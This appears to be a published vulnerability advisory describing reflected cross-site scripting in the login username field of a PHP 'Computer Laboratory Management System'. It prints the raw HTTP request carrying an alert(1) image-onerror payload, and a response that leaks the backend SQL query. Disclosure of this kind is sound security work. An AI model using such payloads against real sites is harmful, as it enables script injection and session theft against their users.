Computer Laboratory Management System 2024 1.0 Cross Site Scripting

## Titles: LMS2024-1.0 XSS-Reflected Information Disclosure## Author: nu11secur1ty## Date: 00/04/2024## Vendor: https://github.com/oretnom23## Software:https://www.sourcecodester.com/php/17268/computer-laboratory-management-system-using-php-and-mysql.html#google_vignette## Reference: https://portswigger.net/web-security/cross-site-scripting## Description:The value of the username request parameter is copied into the HTMLdocument as plain text between tags. The payload ro2iz<img src=aonerror=alert(1)>xggkt was submitted in the username parameter. This inputwas echoed unmodified in the application's response.STATUS: HIGH- Vulnerability[+]Exploits:- XSS-Reflected:```xssPOST /php-lms/classes/Login.php?f=login HTTP/1.1Host: pwnedhost.comAccept-Encoding: gzip, deflate, brAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/128.0.6613.138 Safari/537.36Connection: closeCache-Control: max-age=0Cookie: PHPSESSID=g61goafu1miq2e737ra7dclqmlOrigin: https://pwnedhost.comX-Requested-With: XMLHttpRequestReferer: https://pwnedhost.com/php-lms/admin/login.phpContent-Type: application/x-www-form-urlencoded; charset=UTF-8Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="128","Chromium";v="128"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0Content-Length: 37username=VLVAuyqjro2iz%3cimg%20src%3da%20onerror%3dalert(1)%3exggkt&password=e3I!x1c!Q7```+ [Response]```HTTP/1.1 200 OKDate: Fri, 04 Oct 2024 08:27:39 GMTServer: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.2.4X-Powered-By: PHP/8.2.4Expires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheAccess-Control-Allow-Origin: *Content-Length: 177Connection: closeContent-Type: text/html; charset=UTF-8{"status":"incorrect","last_qry":"SELECT * from users where username ='VLVAuyqjro2iz<img src=a onerror=alert(1)>xggkt' and password =md5('45ec487cfe5b3bac8e61740ae8dbcd06') "}```## Reproduce:[href](https://www.patreon.com/nu11secur1ty)## Demo PoC:[href](https://www.patreon.com/nu11secur1ty)## Time spent:00:27:00-- System Administrator - Infrastructure EngineerPenetration Testing EngineerExploit developer at https://packetstormsecurity.com/https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and https://www.exploit-db.com/0day Exploit DataBase https://0day.today/home page: https://www.nu11secur1ty.com/hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=                          nu11secur1ty <http://nu11secur1ty.com/>-- System Administrator - Infrastructure EngineerPenetration Testing EngineerExploit developer at https://packetstormsecurity.com/https://cve.mitre.org/index.htmlhttps://cxsecurity.com/ and https://www.exploit-db.com/0day Exploit DataBase https://0day.today/home page: https://www.nu11secur1ty.com/hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=                          nu11secur1ty <http://nu11secur1ty.com/>